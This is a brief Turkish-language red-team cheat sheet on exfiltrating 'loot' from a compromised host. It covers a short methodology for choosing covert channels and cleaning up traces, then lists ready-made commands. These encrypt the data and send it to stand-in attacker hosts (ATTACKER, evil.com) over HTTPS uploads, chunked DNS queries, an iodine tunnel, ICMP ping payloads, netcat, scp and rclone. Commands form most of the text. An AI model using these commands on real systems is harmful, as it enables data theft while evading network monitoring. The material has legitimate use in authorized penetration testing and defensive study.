Exfiltration

generic exfil

Loot’u dışarı çıkarmak shell kadar kritiktir. Küçük parçalar, şifreleme ve “normal görünen” protokoller (HTTPS/DNS) tercih edilir.

Metodoloji

1. Outbound hangi port/protokollerin açık olduğunu ölç.

2. Loot’u sıkıştır/şifrele; boyut ve gürültüyü planla.

3. En az şüpheli kanalı seç (HTTPS POST, DNS, ICMP).

4. Bütünlüğü doğrula (hash) ve izleri temizle (RoE’ye göre).

Hazırlık

tar czf - /path/loot | openssl enc -aes-256-cbc -salt -pbkdf2 -out loot.enc

7z a -p'pass' loot.7z /path/loot

sha256sum loot.enc

HTTP(S)

curl -F file=@loot.enc https://ATTACKER/up

curl -T loot.enc http://ATTACKER:8000/

python3 -m http.server 8000  # attacker

iwr -Uri http://ATTACKER/up -Method POST -InFile loot.zip

DNS / ICMP

# parçalı DNS
xxd -p loot.enc | fold -w 60 | while read h; do dig $h.evil.com; done

iodine -f ATTACKER tunnel.evil.com

ping -p $(xxd -p -c 16 chunk.bin) ATTACKER

Alternatif kanallar

nc ATTACKER 443 < loot.enc

scp loot.enc user@ATTACKER:/tmp/

rclone copy loot.enc remote:bucket/

Checklist

[ ] outbound kanal doğrulandı
[ ] loot şifreli/arşivli
[ ] transfer tamam + hash eşleşti
[ ] kanal ve dosya konumları not edildi